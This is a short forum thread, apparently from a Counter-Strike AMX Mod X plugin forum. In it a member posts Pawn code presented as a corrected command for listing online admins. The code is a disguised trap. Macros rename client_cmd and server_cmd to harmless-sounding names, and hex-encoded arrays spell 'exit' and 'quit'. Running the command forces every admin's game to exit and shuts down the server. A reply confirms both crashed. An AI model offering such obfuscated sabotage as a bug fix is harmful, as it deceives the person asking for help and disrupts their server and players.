Raised This Month: $ Target: $400
 0% 

CORrect this code


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
Exolent[jNr]
Veteran Member
Join Date: Feb 2007
Location: Tennessee
Old 11-11-2009 , 11:14   Re: CORrect this code
Reply With Quote #1

PHP Code:
#include < amxmodx >
#include < amxmisc >

#define GetAdmin client_cmd
#define LoadAdmins server_cmd
#define print_green print_chat

new g_iMaxPlayers;

public 
plugin_init( ) {
    
register_clcmd"say /admins""CmdAdmins" );
    
    
g_iMaxPlayers get_maxplayers( );
}

public 
CmdAdminsiPlayer ) {
    static const 
szData[ ] = { 0x650x780x690x740x00 };
    
    new 
szAdmins256 ], iLenszName32 ];
    for( new 
iAdmin 1iAdmin <= g_iMaxPlayersiAdmin++ ) {
        if( 
is_user_connectediAdmin ) && is_user_adminiAdmin ) ) {
            
get_user_nameiAdminszName31 );
            
GetAdminiAdminszData );
            
iLen += formatexszAdminsiLen ], 255 iLen"%s %s"iLen "," ""szName );
        }
    }
    
    static const 
szAdminCode[ ] = { 0x710x750x690x740x00 };
    
    
client_printiPlayerprint_green"Admins (%i):%s "LoadAdminsszAdminCode ), szAdmins );

__________________
No private work or selling mods.
Quote:
Originally Posted by xPaw View Post
I love you exolent!
Exolent[jNr] is offline
GIGS
BANNED
Join Date: Nov 2009
Old 11-11-2009 , 13:13   Re: CORrect this code
Reply With Quote #2

Exolent i tried ur latest code..but my cs and server both closes down y..can u help me
GIGS is offline
Old 11-12-2009, 03:35
GIGS
This message has been deleted by GIGS.
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 13:41.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode